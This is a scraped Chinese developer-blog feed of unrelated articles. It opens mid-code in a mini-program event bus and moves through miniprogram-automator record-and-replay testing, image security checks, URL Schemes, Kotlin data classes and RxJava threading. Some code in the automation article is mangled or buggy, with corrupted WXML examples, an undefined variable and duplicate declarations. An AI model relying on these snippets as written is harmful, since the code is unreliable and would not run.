promiseResolve();
}
document.addEventListener('myLoad', promiseResolve);
});
}
/**
* @description 监听小程序消息
* @private
* @memberof MiniAppEventBus
*/
private listen() {
window.my.onMessage = (msg: MiniAppMessage) => {
this.dispatch(msg.type, msg);
};
}
private async startListen() {
return this.ensureEnv(this.listen);
}
/**
* @description 发送消息,必须包含action
* @param {MessageToMiniApp} msg
* @returns
* @memberof MiniAppEventBus
*/
public postMessage(msg: MessageToMiniApp) {
return new Promise((resolve) => {
const realPost = () => {
resolve(window.my.postMessage(msg));
};
resolve(this.ensureEnv(realPost));
});
}
/**
* @description 订阅消息,支持单个或多个
* @template T
* @param {(string|string[])} type
* @param {MiniAppMessageSubscriber} callback
* @returns
* @memberof MiniAppEventBus
*/
public subscribe(type: string | string[], callback: MiniAppMessageSubscriber) {
const subscribeSingleAction = (type: string, cb: MiniAppMessageSubscriber) => {
let listeners = this.listeners.get(type) || [];
listeners.push(cb);
this.listeners.set(type, listeners);
};
this.forEach(type,(type:string)=>subscribeSingleAction(type,callback));
}
private forEach(type:string | string[],cb:(type:string)=>void){
if (typeof type === 'string') {
return cb(type);
}
for (const key in type) {
if (Object.prototype.hasOwnProperty.call(type, key)) {
const element = type[key];
cb(element);
}
}
}
/**
* @description 异步订阅
* @template T
* @param {(string|string[])} type
* @returns {Promise>}
* @memberof MiniAppEventBus
*/
public async subscribeAsync(type: string | string[]): Promise> {
return new Promise((resolve, _reject) => {
this.subscribe(type, resolve);
});
}
/**
* @description 触发事件
* @param {string} type
* @param {MiniAppMessage} msg
* @memberof MiniAppEventBus
*/
public async dispatch(type: string, msg: MiniAppMessage) {
let listeners = this.listeners.get(type) || [];
listeners.map(i => {
if (typeof i === 'function') {
i(msg);
}
});
}
public async unSubscribe(type:string | string[]){
const unsubscribeSingle = (type: string) => {
this.listeners.set(type, []);
};
this.forEach(type,(type:string)=>unsubscribeSingle(type));
}
}
export default new MiniAppEventBus();
class内部处理了脚本加载,变量判断,消息订阅一系列逻辑,使用时不再关注。
定义action handle,通过策略模式解耦:
const actionHandles = {
async FACE_VERIFY(){},
async GET_STEP(){},
async UPLOAD_HASH(){},
async GET_AUTH_CODE(){},
...// 其他action
}
....
// 在webview的消息监听函数中
async startProcess(e) {
const data = e.detail;
// 根据不同的action调用不同的handle处理
const handle = actionHandles[data.action];
if (handle) {
return actionHandles[data.action](this, data)
}
return uploadLogsExtend({
tip: STRING_CONTANT.UNKNOWN_ACTIONS,
data
})
}
使用起来也是得心顺畅,舒服。
类型完备,使用时智能提示,方便快捷。
定义一个创建产品对象的工厂接口,将产品对象的实际创建工作推迟到具体子工厂类当中。这满足创建型模式中所要求的“创建与使用相分离”的特点。
如果要创建的产品不多,只要一个工厂类就可以完成,这种模式叫“简单工厂模式”。
简单工厂通常为静态方法,因此又叫静态工厂方法模式
对于产品种类相对较少的情况,考虑使用简单工厂模式。使用简单工厂模式的客户端只需要传入工厂类的参数,不需要关心如何创建对象的逻辑,可以很方便地创建所需产品。
简单工厂模式的主要角色如下:
其结构图如下图所示。
kotlin代码实现
简单工厂模式在Android中的实际应用
有时候,为了简化简单工厂模式,我们可以将抽象产品类和工厂类合并,将静态工厂方法移至抽象产品类中。Fragment的创建使用简单工厂方法没有抽象产品类,所以工厂类放到了实现产品类中。
优点
看构造函数可知,无法new出bitmap,那么怎么创建bitmap对象呢?
内部源码
看下BitmapFactory的注释我们可以看到,这个工厂支持从不同的资源创建Bitmap对象,包括files, streams, 和byte-arrays,但是调用关系都大同小异。
收起阅读 »近期团队打算做一个小程序自动化测试的工具,期望能够做到业务人员操作一遍小程序后,自动还原之前的操作路径,并且捕获操作过程中发生的异常,以此来判断这次发布是否会影响小程序的基础功能。
上述描述看似简单,但是中间还是有些难点的,第一个难点就是如何在业务人员操作小程序的时候记录操作路径,第二个难点就是如何将记录的操作路径进行还原。
如何将操作路径还原这个问题,首选官方提供的 SDK: miniprogram-automator
。
小程序自动化 SDK 为开发者提供了一套通过外部脚本操控小程序的方案,从而实现小程序自动化测试的目的。通过该 SDK,你可以做到以下事情:
上面的描述都来自官方文档,建议阅读后面内容之前可以先看看官方文档,当然如果之前用过 puppeteer ,也可以快速上手,api 基本一致。下面简单介绍下 SDK 的使用方式。
// 引入sdk
const automator = require('miniprogram-automator')
// 启动微信开发者工具
automator.launch({
// 微信开发者工具安装路径下的 cli 工具
// Windows下为安装路径下的 cli.bat
// MacOS下为安装路径下的 cli
cliPath: 'path/to/cli',
// 项目地址,即要运行的小程序的路径
projectPath: 'path/to/project',
}).then(async miniProgram => { // miniProgram 为 IDE 启动后的实例
// 启动小程序里的 index 页面
const page = await miniProgram.reLaunch('/page/index/index')
// 等待 500 ms
await page.waitFor(500)
// 获取页面元素
const element = await page.$('.main-btn')
// 点击元素
await element.tap()
// 关闭 IDE
await miniProgram.close()
})
有个地方需要提醒一下:使用 SDK 之前需要开启开发者工具的服务端口,要不然会启动失败。
有了还原操作路径的办法,接下来就要解决记录操作路径的难题了。
在小程序中,并不能像 web 中通过事件冒泡的方式在 window 中捕获所有的事件,好在小程序所以的页面和组件都必须通过 Page
、Component
方法来包装,所以我们可以改写这两个方法,拦截传入的方法,并判断第一个参数是否为 event
对象,以此来捕获所有的事件。
// 暂存原生方法
const originPage = Page
const originComponent = Component
// 改写 Page
Page = (params) => {
const names = Object.keys(params)
for (const name of names) {
// 进行方法拦截
if (typeof obj[name] === 'function') {
params[name] = hookMethod(name, params[name], false)
}
}
originPage(params)
}
// 改写 Component
Component = (params) => {
if (params.methods) {
const { methods } = params
const names = Object.keys(methods)
for (const name of names) {
// 进行方法拦截
if (typeof methods[name] === 'function') {
methods[name] = hookMethod(name, methods[name], true)
}
}
}
originComponent(params)
}
const hookMethod = (name, method, isComponent) => {
return function(...args) {
const [evt] = args // 取出第一个参数
// 判断是否为 event 对象
if (evt && evt.target && evt.type) {
// 记录用户行为
}
return method.apply(this, args)
}
}
这里的代码只是代理了所有的事件方法,并不能用来还原用户的行为,要还原用户行为还必须知道该事件类型是否是需要的,比如点击、长按、输入。
const evtTypes = [
'tap', // 点击
'input', // 输入
'confirm', // 回车
'longpress' // 长按
]
const hookMethod = (name, method) => {
return function(...args) {
const [evt] = args // 取出第一个参数
// 判断是否为 event 对象
if (
evt && evt.target && evt.type &&
evtTypes.includes(evt.type) // 判断事件类型
) {
// 记录用户行为
}
return method.apply(this, args)
}
}
确定事件类型之后,还需要明确点击的元素到底是哪个,但是小程序里面比较坑的地方就是,event 对象的 target 属性中,并没有元素的类名,但是可以获取元素的 dataset。
为了准确的获取元素,我们需要在构建中增加一个步骤,修改 wxml 文件,将所有元素的 class
属性复制一份到
<!-- 构建前 -->
<view class="close-btn"></view>
<view class="{{mainClassName}}"></view>
<!-- 构建后 -->
<view class="close-btn" style="box-sizing: border-box; color: rgb(221, 17, 68);">"close-btn"></view>
<view class="{{mainClassName}}" style="box-sizing: border-box; color: rgb(221, 17, 68);">"{{mainClassName}}"></view>
但是获取到 class 之后,又会有另一个坑,小程序的自动化测试工具并不能直接获取页面里自定义组件中的元素,必须先获取自定义组件。
<!-- Page -->
<toast text="loading" show="{{showToast}}" />
<!-- Component -->
<view class="toast" wx:if="{{show}}">
<text class="toast-text">{{text}}</text>
<view class="toast-close" />
</view>
// 如果直接查找 .toast-close 会得到 null
const element = await page.$('.toast-close')
element.tap() // Error!
// 必须先通过自定义组件的 tagName 找到自定义组件
// 再从自定义组件中通过 className 查找对应元素
const element = await page.$('toast .toast-close')
element.tap()
所以我们在构建操作的时候,还需要为元素插入 tagName。
<!-- 构建前 -->
<view class="close-btn" />
<toast text="loading" show="{{showToast}}" />
<!-- 构建后 -->
<view class="close-btn" style="box-sizing: border-box; color: rgb(221, 17, 68);">"close-btn" style="box-sizing: border-box; color: rgb(221, 17, 68);">"view" />
<toast text="loading" show="{{showToast}}" style="box-sizing: border-box; color: rgb(221, 17, 68);">"toast" />
现在我们可以继续愉快的记录用户行为了。
// 记录用户行为的数组
const actions = [];
// 添加用户行为
const addAction = (type, query, value = '') => {
actions.push({
time: Date.now(),
type,
query,
value
})
}
// 代理事件方法
const hookMethod = (name, method, isComponent) => {
return function(...args) {
const [evt] = args // 取出第一个参数
// 判断是否为 event 对象
if (
evt && evt.target && evt.type &&
evtTypes.includes(evt.type) // 判断事件类型
) {
const { type, target, detail } = evt
const { id, dataset = {} } = target
const { className = '' } = dataset
const { value = '' } = detail // input事件触发时,输入框的值
// 记录用户行为
let query = ''
if (isComponent) {
// 如果是组件内的方法,需要获取当前组件的 tagName
query = `${this.dataset.tagName} `
}
if (id) {
// id 存在,则直接通过 id 查找元素
query += id
} else {
// id 不存在,才通过 className 查找元素
query += className
}
addAction(type, query, value)
}
return method.apply(this, args)
}
}
到这里已经记录了用户所有的点击、输入、回车相关的操作。但是还有滚动屏幕的操作没有记录,我们可以直接代理 Page 的 onPageScroll
方法。
// 记录用户行为的数组
const actions = [];
// 添加用户行为
const addAction = (type, query, value = '') => {
if (type === 'scroll' || type === 'input') {
// 如果上一次行为也是滚动或输入,则重置 value 即可
const last = this.actions[this.actions.length - 1]
if (last && last.type === type) {
last.value = value
last.time = Date.now()
return
}
}
actions.push({
time: Date.now(),
type,
query,
value
})
}
Page = (params) => {
const names = Object.keys(params)
for (const name of names) {
// 进行方法拦截
if (typeof obj[name] === 'function') {
params[name] = hookMethod(name, params[name], false)
}
}
const { onPageScroll } = params
// 拦截滚动事件
params.onPageScroll = function (...args) {
const [evt] = args
const { scrollTop } = evt
addAction('scroll', '', scrollTop)
onPageScroll.apply(this, args)
}
originPage(params)
}
这里有个优化点,就是滚动操作记录的时候,可以判断一下上次操作是否也为滚动操作,如果是同一个操作,则只需要修改一下滚动距离即可,因为两次滚动可以一步到位。同理,输入事件也是,输入的值也可以一步到位。
用户操作完毕后,可以在控制台输出用户行为的 json 文本,把 json 文本复制出来后,就可以通过自动化工具运行了。
// 引入sdk
const automator = require('miniprogram-automator')
// 用户操作行为
const actions = [
{ type: 'tap', query: 'goods .title', value: '', time: 1596965650000 },
{ type: 'scroll', query: '', value: 560, time: 1596965710680 },
{ type: 'tap', query: 'gotoTop', value: '', time: 1596965770000 }
]
// 启动微信开发者工具
automator.launch({
projectPath: 'path/to/project',
}).then(async miniProgram => {
let page = await miniProgram.reLaunch('/page/index/index')
let prevTime
for (const action of actions) {
const { type, query, value, time } = action
if (prevTime) {
// 计算两次操作之间的等待时间
await page.waitFor(time - prevTime)
}
// 重置上次操作时间
prevTime = time
// 获取当前页面实例
page = await miniProgram.currentPage()
switch (type) {
case 'tap':
const element = await page.$(query)
await element.tap()
break;
case 'input':
const element = await page.$(query)
await element.input(value)
break;
case 'confirm':
const element = await page.$(query)
await element.trigger('confirm', { value });
break;
case 'scroll':
await miniProgram.pageScrollTo(value)
break;
}
// 每次操作结束后,等待 5s,防止页面跳转过程中,后面的操作找不到页面
await page.waitFor(5000)
}
// 关闭 IDE
await miniProgram.close()
})
这里只是简单的还原了用户的操作行为,实际运行过程中,还会涉及到网络请求和 localstorage 的 mock,这里不再展开讲述。同时,我们还可以接入 jest 工具,更加方便用例的编写。
看似很难的需求,只要用心去发掘,总能找到对应的解决办法。另外微信小程序的自动化工具真的有很多坑,遇到问题可以先到小程序社区去找找,大部分坑都有前人踩过,还有一些一时无法解决的问题只能想其他办法来规避。最后祝愿天下无 bug。
原文链接:https://segmentfault.com/a/1190000023555693
在小程序开发过程中,用户输入是必不可少的,我们经常会需要用户输入一些内容,来完成产品收集用户信息的需求。
在这种情况下,我们可以考虑借助小程序提供的一些和键盘相关的 API 来优化小程序的使用体验。
从小程序的 1.0 版本开始,就支持为 input 组件设置 type,不同的 type 会显示不同的手机键盘。默认情况下,显示的是 text 文本输入键盘,这个键盘的特点是显示所有的内容,可以适用于所有的场景。
但,适用于所有场景也就意味着不适用于所有场景,总会在每一个场景中有着种种不便,因此,在实际的开发中,为了获得更佳的体验,你可以通过设置不同的 Type 来控制实际的键盘显示情况。
除了默认的 text 类以外,你还可以使用 number
(数字输入键盘)、idcard
身份证输入键盘和 digit
带小数点的数字键盘。
你可以根据自己的实际使用场景来设置不同的类型,比如说
text
类型的键盘,显然不如给一个 number
类型的键盘更合适。number
类型的键盘,来优化用户输入时的体验。这里的思路是类似的,当你预期用户输入的内容只有数字,就可以考虑 number
、digit
、idcard
等类型,来优化你的小程序的实际使用体验。
## 总结
input 组件默认提供的 四种 type ,可以通过选择不同的类型,从而获得不同的体验效果,从而对于你的小程序体验进行优化和推进。
原文链接:https://segmentfault.com/a/1190000025160488
收起阅读 »我们需要在选择图片后
对图片做一次安全校验
现在我们需要一个 后端接口 来实现图片的 安全校验 功能
这时候临时搭个Node服务好像不太现实
又不是什么正经项目
于是就想到了微信的云开发功能
用起来真实方便快捷
至于图片的校验方法
直接用云函数调用 security.imgSecCheck 接口就好了
chooseImage() {
/// 用户选择图片
wx.chooseImage({
count: 1,
sizeType: ['original', 'compressed'],
sourceType: ['album', 'camera'],
success: async res => {
if (res.errMsg === 'chooseImage:ok') {
wx.showLoading({ title: '图片加载中' })
// 获取图片临时地址
const path = res.tempFilePaths[0]
// 将图片地址实例化为图片
const image = await loadImage(path, this.canvas)
// 压缩图片
const filePath = await compress.call(this, image, 'canvas_compress')
// 校验图片合法性
const imgValid = await checkImage(filePath)
wx.hideLoading()
if (!imgValid) return
// 图片安全检测通过,执行后续操作
...
}
})
}
基本逻辑就是
超出尺寸的图片等比例缩小就好了
我们先要有一个canvas元素
用来处理需要压缩的图片
<template>
<view class="menu-background">
<view class="item replace" bindtap="chooseImage">
<i class="iconfont icon-image"></i>
<text class="title">图片</text>
<text class="sub-title">图片仅供本地使用</text>
</view>
//
// canvas
//
<canvas
type="2d"
id="canvas_compress"
class="canvas-compress"
style="width: {{canvasCompress.width}}px; height: {{canvasCompress.height}}px"
/>
</view>
</template>
将canvas移到视野不可见到位置
.canvas-compress
position absolute
left 0
top 1000px
图片进行压缩处理
/**
* 压缩图片
* 将尺寸超过规范的图片最小限度压缩
* @param {Image} image 需要压缩的图片实例
* @param {String} canvasId 用来处理压缩图片的canvas对应的canvasId
* @param {Object} config 压缩的图片规范 -> { maxWidth 最大宽度, maxHeight 最小宽度 }
* @return {Promise} promise返回 压缩后的 图片路径
*/
export default function (image, canvasId, config = { maxWidth: 750, maxHeight: 1334 }) {
// 引用的组件传入的this作用域
const _this = this
return new Promise((resolve, reject) => {
// 获取图片原始宽高
let width = image.width
let height = image.height
// 宽度 > 最大限宽 -> 重置尺寸
if (width > config.maxWidth) {
const ratio = width / config.maxWidth
width = config.maxWidth
height = height / ratio
}
// 高度 > 最大限高度 -> 重置尺寸
if (height > config.maxHeight) {
const ratio = height / config.maxHeight
height = config.maxHeight
width = width / ratio
}
// 设置canvas的css宽高
_this.canvasCompress.width = width
_this.canvasCompress.height = height
const query = this.createSelectorQuery()
query
.select(`#${canvasId}`)
.fields({ node: true, size: true })
.exec(async res => {
// 获取 canvas 实例
const canvas = res[0].node
// 获取 canvas 绘图上下文
const ctx = canvas.getContext('2d')
// 根据设备dpr处理尺寸
const dpr = wx.getSystemInfoSync().pixelRatio
canvas.width = width * dpr
canvas.height = height * dpr
ctx.scale(dpr, dpr)
// 将图片绘制到 canvas
ctx.drawImage(image, 0, 0, width, height)
// 将canvas图片上传到微信临时文件
wx.canvasToTempFilePath({
canvas,
x: 0,
y: 0,
destWidth: width,
destHeight: height,
complete (res) {
if (res.errMsg === 'canvasToTempFilePath:ok') {
// 返回临时文件路径
resolve(res.tempFilePath)
}
},
fail(err) {
reject(err)
}
})
})
})
}
const cloud = require('wx-server-sdk')
cloud.init({
env: cloud.DYNAMIC_CURRENT_ENV
})
/**
* 校验图片合法性
* @param {*} event.fileID 微信云存储的图片ID
* @return {Number} 0:校验失败;1:校验通过
*/
exports.main = async (event, context) => {
const contentType = 'image/png'
const fileID = event.fileID
try {
// 根据fileID下载图片
const file = await cloud.downloadFile({
fileID
})
const value = file.fileContent
// 调用 imgSecCheck 借口,校验不通过接口会抛错
// 必要参数 media { contentType, value }
const result = await cloud.openapi.security.imgSecCheck({
media: {
contentType,
value
}
})
return 1
} catch (err) {
return 0
}
}
/**
* 校验图片是否存在敏感信息
* @param { String } filePath
* @return { Promise } promise返回校验结果
*/
export default function (filePath) {
return new Promise((resolve, reject) => {
// 先将图片上传到云开发存储
wx.cloud.uploadFile({
cloudPath: `${new Date().getTime()}.png`,
filePath,
success (res) {
// 调用云函数-checkImage
wx.cloud.callFunction({
name: 'checkImage',
data: {
fileID: res.fileID
},
success (res) {
// res.result -> 0:存在敏感信息;1:校验通过
resolve(res.result)
if (!res.result) {
wx.showToast({
title: '图片可能含有敏感信息, 请重新选择',
icon: 'none'
})
}
},
fail (err) {
reject(err)
}
})
},
fail (err) {
reject(err)
}
})
})
}
原文链接:https://segmentfault.com/a/1190000038685508
最近,微信小程序更新了一项新的能力:「获取URL Scheme」,这是一项非常有用的功能,你可以借助他,在微信生态中实现各种有意思的营销方式。
微信提供了一个接口,可以生成如 weixin://dl/business/?t= *TICKET*
的 URL Scheme。你可以在系统自带的浏览器,比如 Safari 中访问这个地址,自动跳转到你自己的微信小程序中。
URL Scheme 的用途最大自然是各种营销用途,比如短信营销。不过,如果我们发散思维,就可以知道,URL Scheme 可以有更多的用途。
URL Scheme 在 iOS 系统应用中是比较多的,不少 iOS 的 Power User 都会借助 URL Scheme 来自定义自己的手机中的一些操作,实现特别的操作。我们可以参考 iOS 的 Power User 的用法,理解微信的 URL Scheme 的用法
如果我们将这些能力迁移到微信生态中,就可以发现,这里我们同样可以实现:
不仅如此,因为目前微信的安装率远高于普通 App,因此,你在进行营销的时候,就再也无需担心用户没有安装自己的 App,大可以先让用户进入到小程序,成为用户后,再引导用户下载 App,提升产品体验。
虽然很好,不过 URL Scheme 目前还有一些问题,比如只限于国内非个人主体小程序,对于个人开发者来说就无法使用了。
URL Scheme 的开放,对于微信生态来说,是一个很有力的工具,开发者可以借助与 URL Scheme 来完成自己在微信生态中的推广。在未来,我们可以看到,越来越多的开发者借助于 URL Scheme ,来实现一些很有意思的营销方式。
让我们拭目以待。
原文链接:https://segmentfault.com/a/1190000038919562
一只小奶狗会有名字、品种以及一堆可爱的特点作为其属性。如果将其建模为一个类,并且只用来保存这些属性数据,那么您应当使用数据类。在使用数据类时,编译器会为您自动生成 toString()
、equals()
与 hashCode()
函数,并提供开箱即用的 解构 与拷贝功能,从而帮您简化工作,使您可以专注于那些需要展示的数据。接下来本文将会带您了解数据类的其他好处、限制以及其实现的内部原理。
声明一个数据类,需要使用 data 修饰符并在其构造函数中以 val 或 var 参数的形式指定其属性。您可以为数据类的构造函数提供默认参数,就像其他函数与构造函数一样;您也可以直接访问和修改属性,以及在类中定义函数。
但相比于普通类,您可以获得以下几个好处:
toString()
、equals()
与 hashCode()
函数 ,从而避免了一系列人工操作可能造成的小错误,例如: 忘记在每次新增或更新属性后更新这些函数、实现 hashCode
时出现逻辑错误,或是在实现 equals
后忘记实现 hashCode
等;/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
data class Puppy(
val name: String,
val breed: String,
var cuteness: Int = 11
)
// 创建新的实例
val tofuPuppy = Puppy(name = "Tofu", breed = "Corgi", cuteness = Int.MAX_VALUE)
val tacoPuppy = Puppy(name = "Taco", breed = "Cockapoo")
// 访问和修改属性
val breed = tofuPuppy.breed
tofuPuppy.cuteness++
// 解构
val (name, breed, cuteness) = tofuPuppy
println(name) // prints: "Tofu"
// 拷贝:使用与 tofuPuppy 相同的品种和可爱度创建一个小狗,但名字不同
val tacoPuppy = tofuPuppy.copy(name = "Taco")
数据类有着一系列的限制。
数据类是作为数据持有者被创建的。为了强制执行这一角色,您必须至少传入一个参数到它的主构造函数,而且参数必须是 val 或 var 属性。尝试添加不带 val 或 var 的参数将会导致编译错误。
作为最佳实践,请考虑使用 val
而不是 var
,来提升不可变性,否则可能会出现一些细微的问题。如使用数据类作为 HashMap
对象的键时,容器可能会因为其 var
值的改变而获取出无效的结果。
同样,尝试在主构造函数中添加 vararg
参数也会导致编译错误:
/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
data class Puppy constructor(
val name: String,
val breed: String,
var cuteness: Int = 11,
// 错误:数据类的的主构造函数中只能包含属性 (val 或 var) 参数
playful: Boolean,
// 错误:数据类型的主构造函数已禁用 vararg 参数
vararg friends: Puppy
)
vararg
不被允许是由于 JVM 中数组和集合的 equals()
的实现方法不同。Andrey Breslav 的解释是:
集合的 equals() 进行的是结构化比较,而数组不是,数组使用
equals()
等效于判断其引用是否相等: this===
other。
*阅读更多: blog.jetbrains.com/kotlin/2015…
数据类可以继承于接口、抽象类或者普通类,但是不能继承其他数据类。数据类也不能被标记为 open
。添加 open
修饰符会导致错误: Modifier ‘open’ is incompatible with ‘data’ (‘open’ 修饰符不兼容 ‘data’)
。
为了理解这些功能为何能够实现,我们来检查下 Kotlin 究竟生成了什么。为了做到这点,我们需要查看反编译后的 Java 代码: Tools -> Kotlin -> Show Kotlin Bytecode
,然后点击 Decompile
按钮。
就像普通的类一样,Puppy
是一个公共 final
类,包含了我们定义的属性以及它们的 getter 和 setter:
/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
public final class Puppy {
@NotNull
private final String name;
@NotNull
private final String breed;
private int cuteness;
@NotNull
public final String getName() {
return this.name;
}
@NotNull
public final String getBreed() {
return this.breed;
}
public final int getCuteness() {
return this.cuteness;
}
public final void setCuteness(int var1) {
this.cuteness = var1;
}
...
}
复制代码
我们定义的构造函数是由编译器生成的。由于我们在构造函数中使用了默认参数,所以我们也得到了第二个合成构造函数。
/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
public Puppy(@NotNull String name, @NotNull String breed, int cuteness) {
...
this.name = name;
this.breed = breed;
this.cuteness = cuteness;
}
// $FF: synthetic method
public Puppy(String var1, String var2, int var3, int var4, DefaultConstructorMarker var5) {
if ((var4 & 4) != 0) {
var3 = 11;
}
this(var1, var2, var3);
}
...
}
复制代码
Kotlin 会为您生成 toString()
、hashCode()
与 equals()
方法。当您修改了数据类或更新了属性之后,也能自动为您更新为正确的实现。就像下面这样,hashCode()
与 equals()
总是需要同步。在 Puppy
类中它们如下所示:
/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
...
@NotNull
public String toString() {
return "Puppy(name=" + this.name + ", breed=" + this.breed + ", cuteness=" + this.cuteness + ")";
}
public int hashCode() {
String var10000 = this.name;
int var1 = (var10000 != null ? var10000.hashCode() : 0) * 31;
String var10001 = this.breed;
return (var1 + (var10001 != null ? var10001.hashCode() : 0)) * 31 + this.cuteness;
}
public boolean equals(@Nullable Object var1) {
if (this != var1) {
if (var1 instanceof Puppy) {
Puppy var2 = (Puppy)var1;
if (Intrinsics.areEqual(this.name, var2.name) && Intrinsics.areEqual(this.breed, var2.breed) && this.cuteness == var2.cuteness) {
return true;
}
}
return false;
} else {
return true;
}
}
...
toString
和 hashCode
函数的实现很直接,跟一般您所实现的类似,而 equals 使用了 Intrinsics.areEqual 以实现结构化比较:
public static boolean areEqual(Object first, Object second) {
return first == null ? second == null : first.equals(second);
}
复制代码
通过使用方法调用而不是直接实现,Kotlin 语言的开发者可以获得更多的灵活性。如果有需要,他们可以在未来的语言版本中修改 areEqual 函数的实现。
为了实现解构,数据类生成了一系列只返回一个字段的 componentN()
方法。component 的数量取决于构造函数参数的数量:
/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
...
@NotNull
public final String component1() {
return this.name;
}
@NotNull
public final String component2() {
return this.breed;
}
public final int component3() {
return this.cuteness;
}
...
您可以通过阅读我们之前的 Kotlin Vocabulary 文章 来了解更多有关解构的内容。
数据类会生成一个用于创建新对象实例的 copy()
方法,它可以保持任意数量的原对象属性值。您可以认为 copy()
是个含有所有数据对象字段作为参数的函数,它同时用原对象的字段值作为方法参数的默认值。知道了这一点,您就可以理解 Kotlin 为什么会创建两个 copy()
函数: copy
与 copy$default
。后者是一个合成方法,用来保证参数没有传值时,可以正确地使用原对象的值:
/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
...
@NotNull
public final Puppy copy(@NotNull String name, @NotNull String breed, int cuteness) {
Intrinsics.checkNotNullParameter(name, "name");
Intrinsics.checkNotNullParameter(breed, "breed");
return new Puppy(name, breed, cuteness);
}
// $FF: synthetic method
public static Puppy copy$default(Puppy var0, String var1, String var2, int var3, int var4, Object var5) {
if ((var4 & 1) != 0) {
var1 = var0.name;
}
if ((var4 & 2) != 0) {
var2 = var0.breed;
}
if ((var4 & 4) != 0) {
var3 = var0.cuteness;
}
return var0.copy(var1, var2, var3);
}
...总结
数据类是 Kotlin 中最常用的功能之一,原因也很简单 —— 它减少了您需要编写的模板代码、提供了诸如解构和拷贝对象这样的功能,从而让您可以专注于重要的事: 您的应用。
rxjava 可以很方便的进行线程切换, 那么rxjava是如何进行线程切换的呢?阅读本文可以了解下rxjava 是如何进行线程切换的及线程切换的影响点。
Observable.create(new ObservableOnSubscribe<String>() {
@Override
public void subscribe(ObservableEmitter<String> e) throws Exception {
Log.d("WanRxjava ", "subscrib td ==" + Thread.currentThread().getName());
e.onNext("我在发送next");
e.onComplete();
}
}).subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new Observer<String>() {
@Override
public void onSubscribe(Disposable d) {
Log.d("WanRxjava ", "onSubscribe td ==" + Thread.currentThread().getName());
}
@Override
public void onNext(String value) {
Log.d("WanRxjava ", "onNext td ==" + Thread.currentThread().getName());
}
@Override
public void onError(Throwable e) {
}
@Override
public void onComplete() {
Log.d("WanRxjava ", "onComplete td ==" + Thread.currentThread().getName());
}
});
如上代码,实现了线程切换和观察者被观察者绑定的逻辑。我们分四部分看上述代码逻辑create、subscribeOn、observeOn、subscribe
create 顾名思议是 创建被观察者,这里有一个参数是 ObservableOnSubscribe,这是个接口类,我们看下create 的源码:
@SchedulerSupport(SchedulerSupport.NONE)
public static <T> Observable<T> create(ObservableOnSubscribe<T> source) {
ObjectHelper.requireNonNull(source, "source is null");
return RxJavaPlugins.onAssembly(new ObservableCreate<T>(source));
}
将ObservableOnSubscribe 传入后 又调用了 new ObservableCreate(source)
public final class ObservableCreate<T> extends Observable<T> {
final ObservableOnSubscribe<T> source;
public ObservableCreate(ObservableOnSubscribe<T> source) {
this.source = source;
}
}
ObservableCreate 有一个变量是 source,这里只是将传入的ObservableOnSubscribe 赋值给source,也就是做了一层包装,然后返回。
调用完create后返回了 ObservableCreate(Observable),然后继续调用subscribeOn,传入了一个变量 Schedulers.io()
@SchedulerSupport(SchedulerSupport.CUSTOM)
public final Observable<T> subscribeOn(Scheduler scheduler) {
ObjectHelper.requireNonNull(scheduler, "scheduler is null");
return RxJavaPlugins.onAssembly(new ObservableSubscribeOn<T>(this, scheduler));
}
我们看到调用了new ObservableSubscribeOn(this, scheduler) 将自身和 scheduler 传入
public final class ObservableSubscribeOn<T> extends AbstractObservableWithUpstream<T, T> {
final Scheduler scheduler;
public ObservableSubscribeOn(ObservableSource<T> source, Scheduler scheduler) {
super(source);
this.scheduler = scheduler;
}
}
ObservableSubscribeOn 将scheduler 和 create 返回的对象又包装了一层 返回ObservableSubscribeOn
有一个参数是 Scheduler
@SchedulerSupport(SchedulerSupport.CUSTOM)
public final Observable<T> observeOn(Scheduler scheduler) {
return observeOn(scheduler, false, bufferSize());
}
@SchedulerSupport(SchedulerSupport.CUSTOM)
public final Observable<T> observeOn(Scheduler scheduler, boolean delayError, int bufferSize) {
ObjectHelper.requireNonNull(scheduler, "scheduler is null");
ObjectHelper.verifyPositive(bufferSize, "bufferSize");
return RxJavaPlugins.onAssembly(new ObservableObserveOn<T>(this, scheduler, delayError, bufferSize));
}
ObservableSubscribeOn(observable)又调用了observeOn,然后调用了new ObservableObserveOn(this, scheduler, delayError, bufferSize)
public final class ObservableObserveOn<T> extends AbstractObservableWithUpstream<T, T> {
final Scheduler scheduler;
final boolean delayError;
final int bufferSize;
public ObservableObserveOn(ObservableSource<T> source, Scheduler scheduler, boolean delayError, int bufferSize) {
super(source);
this.scheduler = scheduler;
this.delayError = delayError;
this.bufferSize = bufferSize;
}
}
又是一个包装,将ObservableSubscribeOn 和 scheduler 包装成 ObservableObserveOn
上述最后一步即调用ObservableObserveOn.subscribe,传入参数是一个 observer
//ObservableObserveOn.java
@SchedulerSupport(SchedulerSupport.NONE)
@Override
public final void subscribe(Observer<? super T> observer) {
ObjectHelper.requireNonNull(observer, "observer is null");
try {
observer = RxJavaPlugins.onSubscribe(this, observer);
ObjectHelper.requireNonNull(observer, "Plugin returned null Observer");
subscribeActual(observer);
} catch (NullPointerException e) { // NOPMD
throw e;
} catch (Throwable e) {
Exceptions.throwIfFatal(e);
// can't call onError because no way to know if a Disposable has been set or not
// can't call onSubscribe because the call might have set a Subscription already
RxJavaPlugins.onError(e);
NullPointerException npe = new NullPointerException("Actually not, but can't throw other exceptions due to RS");
npe.initCause(e);
throw npe;
}
}
可以看到调用subscribe 后调用了subscribeActual(observer);将observer 传入
我们看下 subscribeActual(observer)
//ObservableObserveOn.java
@Override
protected void subscribeActual(Observer<? super T> observer) {
if (scheduler instanceof TrampolineScheduler) {
source.subscribe(observer);
} else {
Scheduler.Worker w = scheduler.createWorker();
source.subscribe(new ObserveOnObserver<T>(observer, w, delayError, bufferSize));
}
}
上面的if 先不管,主要看下下面的逻辑,调用了 scheduler.createWorker(),这个scheduler 是 observeOn 传入的,然后调用
new ObserveOnObserver(observer, w, delayError, bufferSize);将worker /observer 又做了一次包装。
//ObservableObserveOn 内部类
static final class ObserveOnObserver<T> extends BasicIntQueueDisposable<T>
